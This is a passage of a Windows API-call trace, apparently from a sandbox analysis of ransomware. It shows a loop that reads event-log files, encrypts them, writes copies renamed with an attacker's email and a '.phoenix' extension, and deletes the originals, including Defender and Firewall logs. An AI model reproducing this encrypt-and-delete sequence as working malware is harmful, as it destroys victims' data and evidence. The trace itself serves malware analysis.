	[0225.854] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0225.856] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0225.856] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.856] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0225.856] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0225.856] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0225.856] CryptDestroyKey (hKey=0x151200) returned 1
	[0225.856] CloseHandle (hObject=0x2cc) returned 1
	[0225.857] CloseHandle (hObject=0x2c0) returned 1
	[0225.860] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1
	[0225.862] SetEvent (hEvent=0x278) returned 1
	[0225.862] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0225.862] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.862] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0225.862] CloseHandle (hObject=0x2c0) returned 1
	[0225.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20
	[0225.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.862] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.862] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.863] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.863] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.863] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0225.863] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.863] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.062] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0226.062] WriteFile (in: hFile=0x2cc, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0226.064] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0226.064] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.064] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0226.064] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0226.064] WriteFile (in: hFile=0x2cc, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0226.064] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0226.064] CloseHandle (hObject=0x2c0) returned 1
	[0226.064] CloseHandle (hObject=0x2cc) returned 1
	[0226.068] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1
	[0226.069] SetEvent (hEvent=0x278) returned 1
	[0226.069] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0226.069] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.070] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0226.070] CloseHandle (hObject=0x2cc) returned 1
	[0226.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20
	[0226.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.070] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.070] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.070] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.070] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.071] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0226.071] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.071] ReadFile (in: hFile=0x2cc, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.090] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0226.090] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0226.091] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0226.091] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.092] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0226.092] CryptDestroyKey (hKey=0x151380) returned 1
	[0226.092] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0226.092] CryptDestroyKey (hKey=0x151140) returned 1
	[0226.092] CloseHandle (hObject=0x2cc) returned 1
	[0226.092] CloseHandle (hObject=0x2c0) returned 1
	[0226.093] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1
	[0226.095] SetEvent (hEvent=0x278) returned 1
	[0226.095] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0226.095] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.095] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0226.095] CloseHandle (hObject=0x2c0) returned 1
	[0226.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20
	[0226.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.095] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.096] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.096] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.096] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.116] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0226.116] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.116] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.375] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0226.375] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0226.383] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0226.383] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.383] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0226.383] CryptDestroyKey (hKey=0x151100) returned 1
	[0226.383] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0226.383] CryptDestroyKey (hKey=0x151380) returned 1
	[0226.383] CloseHandle (hObject=0x2c0) returned 1
	[0226.383] CloseHandle (hObject=0x2c4) returned 1
	[0226.388] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1
	[0226.390] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0226.390] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.390] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0226.390] CloseHandle (hObject=0x2c4) returned 1
	[0226.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20
	[0226.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.391] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.391] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.391] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.391] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.392] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0226.392] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.392] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.539] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0226.539] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0226.540] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0226.540] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.540] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0226.540] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0226.540] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0226.541] CryptDestroyKey (hKey=0x151400) returned 1
	[0226.541] CloseHandle (hObject=0x2c4) returned 1
	[0226.541] CloseHandle (hObject=0x2c0) returned 1
	[0226.546] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1
	[0226.547] SetEvent (hEvent=0x278) returned 1
	[0226.547] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0226.547] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.548] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0226.548] CloseHandle (hObject=0x2c0) returned 1
	[0226.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20
	[0226.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.548] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.548] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.548] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.548] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.548] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0226.548] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.548] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.559] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0226.559] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0226.561] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0226.561] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.561] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0226.561] CryptDestroyKey (hKey=0x151440) returned 1
	[0226.561] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0226.561] CryptDestroyKey (hKey=0x151100) returned 1
	[0226.561] CloseHandle (hObject=0x2c0) returned 1
	[0226.561] CloseHandle (hObject=0x2c4) returned 1
	[0226.565] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1
	[0226.566] SetEvent (hEvent=0x278) returned 1
	[0226.566] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0226.566] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.566] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0226.567] CloseHandle (hObject=0x2c4) returned 1
	[0226.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20
	[0226.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
